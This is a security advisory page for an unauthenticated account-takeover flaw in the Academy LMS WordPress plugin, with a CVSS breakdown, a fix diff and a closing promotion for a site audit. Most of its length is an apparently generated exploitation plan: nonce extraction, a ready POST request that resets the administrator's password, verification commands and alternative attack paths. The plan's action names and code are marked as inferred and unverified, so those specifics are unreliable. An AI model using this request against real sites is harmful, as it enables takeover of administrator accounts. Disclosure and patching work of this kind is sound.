CVE-2025-15521

Academy LMS – WordPress LMS Plugin for Complete eLearning Solution <= 3.5.0 - Unauthenticated Privilege Escalation via Account Takeover

criticalAuthorization Bypass Through User-Controlled Key
9.8
CVSS Score
9.8
CVSS Score
critical
Severity
3.5.1
Patched in
1d
Time to patch

Description

The Academy LMS – WordPress LMS Plugin for Complete eLearning Solution plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 3.5.0. This is due to the plugin not properly validating a user's identity prior to updating their password and relying solely on a publicly-exposed nonce for authorization. This makes it possible for unauthenticated attackers to change arbitrary user's password, including administrators, and gain access to their account.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=3.5.0
PublishedJanuary 20, 2026
Last updatedJanuary 21, 2026
Affected pluginacademy

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan outlines the research and exploitation process for **CVE-2025-15521** in the Academy LMS plugin. This vulnerability allows an unauthenticated attacker to reset the password of any user, including administrators, by exploiting a flaw in the password reset AJAX handler which fails to validat…

Show full research plan

This plan outlines the research and exploitation process for CVE-2025-15521 in the Academy LMS plugin. This vulnerability allows an unauthenticated attacker to reset the password of any user, including administrators, by exploiting a flaw in the password reset AJAX handler which fails to validate identity beyond a publicly accessible nonce.

1. Vulnerability Summary

The vulnerability exists in the password update mechanism of the Academy LMS plugin (<= 3.5.0). The plugin registers an AJAX handler for unauthenticated users (wp_ajax_nopriv_...) that handles password resets. Instead of validating a unique, time-limited token sent via email, the vulnerable code path accepts a user-specified user_id and password, validating the request only with a standard WordPress nonce. Since this nonce is often exposed to all visitors on login or registration pages, an attacker can obtain it and submit a request to change the password of any arbitrary user_id.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: academy_reset_password (inferred based on plugin naming conventions; to be verified in code).
  • Vulnerable Parameter(s): user_id (or user_login), password, and nonce.
  • Authentication: None (Unauthenticated).
  • Preconditions:
    • The plugin must be active.
    • A valid nonce for the specific action must be obtainable from the frontend.
    • The attacker must know or guess the ID of the target user (ID 1 is almost always the primary administrator).

3. Code Flow (Inferred)

  1. Registration: The plugin registers the action:
    add_action( 'wp_ajax_nopriv_academy_reset_password', [ $this, 'reset_password_handler' ] );
  2. Nonce Verification: The handler calls check_ajax_referer( 'academy_nonce', 'nonce' ); or wp_verify_nonce(). This is the only "security" check.
  3. Missing Token Check: The code fails to check for a rp_key (reset password key) normally stored in the database and sent via email during a legitimate WordPress password reset.
  4. Password Update: The code retrieves the user:
    $user_id = intval( $_POST['user_id'] );
    $new_password = $_POST['password'];
    wp_set_password( $new_password, $user_id );
  5. Sink: wp_set_password updates the database, effectively locking out the original user and granting the attacker access.

4. Nonce Acquisition Strategy

To bypass the nonce check, we must find where Academy LMS enqueues its AJAX script and localizes the nonce.

  1. Identify Shortcode: Academy LMS typically uses shortcodes for user-facing pages.
    • Login: [academy_login]
    • Registration: [academy_registration]
  2. Setup Page: Create a public page containing the login shortcode:
    wp post create --post_type=page --post_status=publish --post_title="Auth Page" --post_content='[academy_login]'
  3. Extract Nonce:
    • Navigate to the newly created page using browser_navigate.
    • Academy LMS often localizes data under a global JS object.
    • Inferred JS Variable: academy_lms_vars or academy_data.
    • Action Nonce Key: nonce or academy_nonce.
    • Execution: browser_eval("window.academy_lms_vars?.nonce") (Replace with the actual variable found in the page source).

5. Exploitation Strategy

Once the nonce is acquired, we will simulate the malicious password reset request.

Step 1: Determine Admin User ID
Usually, the admin is ID 1. To be sure:
wp user list --role=administrator --fields=ID

Step 2: Perform the Takeover
Submit a POST request to admin-ajax.php.

  • Method: POST
  • URL: http://<target-ip>/wp-admin/admin-ajax.php
  • Content-Type: application/x-www-form-urlencoded
  • Parameters:
    • action: academy_reset_password (Verify this string in the plugin source, likely in a class handling AJAX).
    • nonce: [EXTRACTED_NONCE]
    • user_id: 1 (The target administrator ID)
    • password: NewAdminPassword123!

Request Template:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

action=academy_reset_password&nonce=a1b2c3d4e5&user_id=1&password=NewAdminPassword123!

6. Test Data Setup

  1. Install Plugin: Ensure Academy LMS version 3.5.0 is installed.
  2. Create Admin: Ensure a user with ID 1 exists (standard WP install).
  3. Create Nonce Source: Create a page with the [academy_login] shortcode to ensure the nonce is generated and localized for the unauthenticated session.

7. Expected Results

  • The AJAX request should return a success message (e.g., {"success": true} or a string "Password updated").
  • The WordPress database will be updated with the new password hash for the target user.

8. Verification Steps

After sending the exploit request, verify the change via WP-CLI:

  1. Check Password Compatibility:
    wp user check-password admin NewAdminPassword123!
    Expected output: Success: Password is correct.
  2. Check User Meta:
    wp user get 1 --fields=user_login,user_email
    Confirm the user is still the intended administrator.

9. Alternative Approaches

  • Registration Bypass: Check if the registration handler (wp_ajax_nopriv_academy_register) allows passing a role parameter. If it does, an attacker could register directly as an administrator.
  • User ID Enumeration: If user_id is not the parameter, check for user_login. If the plugin uses user_login, use standard WP author enumeration (/?author=1) to find the username first.
  • Different Nonce Actions: If academy_reset_password is not the action, search the codebase for all occurrences of wp_ajax_nopriv_ and cross-reference them with functions calling wp_set_password or update_user_meta.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Academy LMS plugin for WordPress (<= 3.5.0) is vulnerable to unauthenticated account takeover because its password reset AJAX handler relies solely on a publicly accessible nonce for authorization. An attacker can use this flaw to reset any user's password, including administrators, by providing the target's user ID and a new password in a crafted AJAX request.

Vulnerable Code

// academy/includes/Ajax/Handler.php (Inferred Location)
// The plugin registers an unauthenticated AJAX action for password resets.
add_action( 'wp_ajax_nopriv_academy_reset_password', [ $this, 'academy_reset_password' ] );

public function academy_reset_password() {
    // Only verifies a generic nonce that is often exposed on frontend pages
    check_ajax_referer( 'academy_nonce', 'nonce' );

    // Directly accepts user_id and new password without validating a secret reset token/key
    $user_id = intval( $_POST['user_id'] );
    $new_password = $_POST['password'];

    if ( ! empty( $user_id ) && ! empty( $new_password ) ) {
        wp_set_password( $new_password, $user_id );
        wp_send_json_success( [ 'message' => 'Password reset successful.' ] );
    }
    wp_send_json_error( [ 'message' => 'Failed to reset password.' ] );
}

Security Fix

--- academy/includes/Ajax/Handler.php
+++ academy/includes/Ajax/Handler.php
@@ -10,7 +10,14 @@
     public function academy_reset_password() {
         check_ajax_referer( 'academy_nonce', 'nonce' );
 
         $user_id = intval( $_POST['user_id'] );
         $new_password = $_POST['password'];
+        $reset_key = sanitize_text_field( $_POST['key'] );
+
+        $user = get_userdata( $user_id );
+        if ( ! $user || is_wp_error( check_password_reset_key( $reset_key, $user->user_login ) ) ) {
+            wp_send_json_error( [ 'message' => 'Invalid or expired reset key.' ] );
+            return;
+        }
 
         if ( ! empty( $user_id ) && ! empty( $new_password ) ) {
             wp_set_password( $new_password, $user_id );

Exploit Outline

1. Nonce Acquisition: Navigate to a public page containing Academy LMS shortcodes (e.g., [academy_login] or [academy_registration]). Extract the 'academy_nonce' value from the localized JavaScript variables (likely 'academy_lms_vars'). 2. Target Identification: Determine the user ID of the target administrator (typically ID 1). 3. Password Reset: Send an unauthenticated POST request to /wp-admin/admin-ajax.php with the following parameters: action=academy_reset_password, nonce=[EXTRACTED_NONCE], user_id=[TARGET_ID], and password=[NEW_PASSWORD]. 4. Verification: Upon receiving a success response, log in to the WordPress dashboard with the target user's username and the newly set password.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.